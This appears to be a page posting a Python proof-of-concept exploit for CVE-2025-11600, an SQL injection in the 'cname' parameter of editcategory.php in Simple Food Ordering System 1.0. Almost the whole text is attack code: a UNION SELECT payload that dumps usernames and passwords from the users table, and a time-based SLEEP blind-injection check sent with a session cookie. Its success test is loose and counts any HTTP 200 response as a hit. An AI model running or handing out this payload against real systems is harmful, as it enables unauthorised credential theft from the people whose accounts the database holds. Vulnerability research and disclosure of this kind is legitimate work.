CVE-2025-11600：Simple Food Ordering System SQL注入漏洞

# CVE-2025-11600 - Simple Food Ordering System SQL Injection PoC # Vulnerability: SQL Injection in editcategory.php via 'cname' parameter # Affected: code-projects Simple Food Ordering System 1.0 import requests # Target configuration TARGET_URL = "http://target-host/SimpleFoodOrdering/editcategory.php" SESSION_COOKIES = {"PHPSESSID": "your_session_id"} # Requires valid low-privilege session # SQL Injection payload via 'cname' parameter # Exploits unsanitized input to extract database information payload = { "id": "1", "cname": "test' UNION SELECT 1,group_concat(username,0x3a,password) FROM users-- -", "submit": "Update" } # Send the malicious request response = requests.post(TARGET_URL, data=payload, cookies=SESSION_COOKIES) # Check response for injected data if "UNION" in response.text or response.status_code == 200: print("[+] SQL Injection successful!") print("[+] Response contains potential data leak:") # Extract leaked data from response (may require HTML parsing) print(response.text[:2000]) else: print("[-] Injection attempt failed or target not vulnerable") # Alternative time-based blind SQLi payload for confirmation time_based_payload = { "id": "1", "cname": "test' AND SLEEP(5)-- -", "submit": "Update" } response = requests.post(TARGET_URL, data=time_based_payload, cookies=SESSION_COOKIES) if response.elapsed.total_seconds() > 4: print("[+] Time-based blind SQLi confirmed - target is vulnerable!")